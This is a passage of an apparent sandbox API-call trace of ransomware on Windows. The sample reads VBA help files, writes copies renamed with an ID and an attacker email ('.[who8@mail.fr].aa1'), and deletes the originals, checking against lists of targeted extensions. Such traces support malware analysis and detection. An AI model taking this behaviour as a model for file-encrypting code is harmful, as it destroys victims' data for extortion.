Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0225.147] lstrlenW (lpString=".jpg") returned 4 [0225.147] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0225.147] lstrcmpiW (lpString1=".CHM", lpString2=".aa1") returned 1 [0225.147] lstrlenW (lpString="VBENDF98.CHM") returned 12 [0225.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.149] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=72031) returned 1 [0225.149] CloseHandle (hObject=0x208) returned 1 [0225.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0225.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.149] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.149] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0225.150] GetLastError () returned 0x0 [0225.150] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x1195f, lpOverlapped=0x0) returned 1 [0225.177] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x11960, lpOverlapped=0x0) returned 1 [0225.182] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.183] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.183] SetEndOfFile (hFile=0x1b0) returned 1 [0225.183] CloseHandle (hObject=0x1b0) returned 1 [0225.183] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.183] SetEndOfFile (hFile=0x208) returned 1 [0225.184] CloseHandle (hObject=0x208) returned 1 [0225.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.185] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 1 [0225.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0225.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0225.185] lstrlenW (lpString=".doc") returned 4 [0225.185] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.185] lstrlenW (lpString=".docx") returned 5 [0225.185] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0225.185] lstrlenW (lpString=".pdf") returned 4 [0225.185] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.185] lstrlenW (lpString=".xls") returned 4 [0225.185] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.185] lstrlenW (lpString=".xlsx") returned 5 [0225.185] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0225.185] lstrlenW (lpString=".ppt") returned 4 [0225.185] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0225.186] lstrlenW (lpString=".zip") returned 4 [0225.186] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.186] lstrlenW (lpString=".rar") returned 4 [0225.186] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.186] lstrlenW (lpString=".bz2") returned 4 [0225.186] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.186] lstrlenW (lpString=".7z") returned 3 [0225.186] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0225.186] lstrlenW (lpString=".dbf") returned 4 [0225.186] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0225.186] lstrlenW (lpString=".1cd") returned 4 [0225.186] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0225.186] lstrlenW (lpString=".jpg") returned 4 [0225.186] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0225.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0225.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0225.186] lstrlenW (lpString=".doc") returned 4 [0225.186] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.186] lstrlenW (lpString=".docx") returned 5 [0225.186] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0225.186] lstrlenW (lpString=".pdf") returned 4 [0225.186] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.186] lstrlenW (lpString=".xls") returned 4 [0225.186] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.187] lstrlenW (lpString=".xlsx") returned 5 [0225.187] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0225.187] lstrlenW (lpString=".ppt") returned 4 [0225.187] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0225.187] lstrlenW (lpString=".zip") returned 4 [0225.187] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.187] lstrlenW (lpString=".rar") returned 4 [0225.187] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.187] lstrlenW (lpString=".bz2") returned 4 [0225.187] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.187] lstrlenW (lpString=".7z") returned 3 [0225.187] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0225.187] lstrlenW (lpString=".dbf") returned 4 [0225.187] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0225.187] lstrlenW (lpString=".1cd") returned 4 [0225.187] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0225.187] lstrlenW (lpString=".jpg") returned 4 [0225.187] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0225.188] lstrcmpiW (lpString1=".CHM", lpString2=".aa1") returned 1 [0225.188] lstrlenW (lpString="VBHW6.CHM") returned 9 [0225.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.188] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=58026) returned 1 [0225.188] CloseHandle (hObject=0x208) returned 1 [0225.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0225.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.189] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.189] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0225.189] GetLastError () returned 0x0 [0225.189] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0xe2aa, lpOverlapped=0x0) returned 1 [0225.239] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe2b0, lpOverlapped=0x0) returned 1 [0225.241] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.241] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0225.241] SetEndOfFile (hFile=0x1b0) returned 1 [0225.242] CloseHandle (hObject=0x1b0) returned 1 [0225.242] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.242] SetEndOfFile (hFile=0x208) returned 1 [0225.243] CloseHandle (hObject=0x208) returned 1 [0225.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.244] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 1 [0225.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0225.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0225.244] lstrlenW (lpString=".doc") returned 4 [0225.244] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.244] lstrlenW (lpString=".docx") returned 5 [0225.244] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0225.244] lstrlenW (lpString=".pdf") returned 4 [0225.244] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.245] lstrlenW (lpString=".xls") returned 4 [0225.245] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.245] lstrlenW (lpString=".xlsx") returned 5 [0225.245] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0225.245] lstrlenW (lpString=".ppt") returned 4 [0225.245] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0225.245] lstrlenW (lpString=".zip") returned 4 [0225.245] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.245] lstrlenW (lpString=".rar") returned 4 [0225.245] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.245] lstrlenW (lpString=".bz2") returned 4 [0225.245] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.245] lstrlenW (lpString=".7z") returned 3 [0225.245] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0225.245] lstrlenW (lpString=".dbf") returned 4 [0225.245] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0225.245] lstrlenW (lpString=".1cd") returned 4 [0225.245] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0225.245] lstrlenW (lpString=".jpg") returned 4 [0225.245] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0225.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0225.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0225.246] lstrlenW (lpString=".doc") returned 4 [0225.246] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.246] lstrlenW (lpString=".docx") returned 5 [0225.246] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0225.246] lstrlenW (lpString=".pdf") returned 4 [0225.246] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.246] lstrlenW (lpString=".xls") returned 4 [0225.246] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.246] lstrlenW (lpString=".xlsx") returned 5 [0225.246] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0225.246] lstrlenW (lpString=".ppt") returned 4 [0225.246] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0225.246] lstrlenW (lpString=".zip") returned 4 [0225.246] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.246] lstrlenW (lpString=".rar") returned 4 [0225.246] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.246] lstrlenW (lpString=".bz2") returned 4 [0225.246] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.246] lstrlenW (lpString=".7z") returned 3 [0225.246] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0225.246] lstrlenW (lpString=".dbf") returned 4 [0225.247] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0225.247] lstrlenW (lpString=".1cd") returned 4 [0225.247] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0225.247] lstrlenW (lpString=".jpg") returned 4 [0225.247] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0225.247] lstrcmpiW (lpString1=".CHM", lpString2=".aa1") returned 1 [0225.247] lstrlenW (lpString="VBLR6.CHM") returned 9 [0225.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.247] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=944994) returned 1 [0225.247] CloseHandle (hObject=0x208) returned 1 [0225.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0225.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.248] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.248] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0225.249] GetLastError () returned 0x0 [0225.249] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0xe6b62, lpOverlapped=0x0) returned 1 [0225.288] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6b70, lpOverlapped=0x0) returned 1 [0225.476] ReadFile (in: hFile=0x208, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.476] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0225.477] SetEndOfFile (hFile=0x1b0) returned 1 [0225.477] CloseHandle (hObject=0x1b0) returned 1 [0225.477] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.477] SetEndOfFile (hFile=0x208) returned 1 [0225.502] CloseHandle (hObject=0x208) returned 1 [0225.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.503] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 1 [0225.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0225.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0225.503] lstrlenW (lpString=".doc") returned 4 [0225.503] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.503] lstrlenW (lpString=".docx") returned 5 [0225.503] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0225.503] lstrlenW (lpString=".pdf") returned 4 [0225.503] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.503] lstrlenW (lpString=".xls") returned 4 [0225.503] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.503] lstrlenW (lpString=".xlsx") returned 5 [0225.504] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0225.504] lstrlenW (lpString=".ppt") returned 4 [0225.504] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0225.504] lstrlenW (lpString=".zip") returned 4 [0225.504] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.504] lstrlenW (lpString=".rar") returned 4 [0225.504] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.504] lstrlenW (lpString=".bz2") returned 4 [0225.504] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.504] lstrlenW (lpString=".7z") returned 3 [0225.504] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0225.504] lstrlenW (lpString=".dbf") returned 4 [0225.504] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0225.504] lstrlenW (lpString=".1cd") returned 4 [0225.504] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0225.504] lstrlenW (lpString=".jpg") returned 4 [0225.504] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0225.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0225.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0225.504] lstrlenW (lpString=".doc") returned 4 [0225.504] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.504] lstrlenW (lpString=".docx") returned 5 [0225.504] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0225.504] lstrlenW (lpString=".pdf") returned 4 [0225.505] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.505] lstrlenW (lpString=".xls") returned 4 [0225.505] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.505] lstrlenW (lpString=".xlsx") returned 5 [0225.505] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0225.505] lstrlenW (lpString=".ppt") returned 4 [0225.505] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0225.505] lstrlenW (lpString=".zip") returned 4 [0225.505] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.505] lstrlenW (lpString=".rar") returned 4 [0225.505] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.505] lstrlenW (lpString=".bz2") returned 4 [0225.505] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.505] lstrlenW (lpString=".7z") returned 3 [0225.505] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0225.505] lstrlenW (lpString=".dbf") returned 4 [0225.505] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0225.505] lstrlenW (lpString=".1cd") 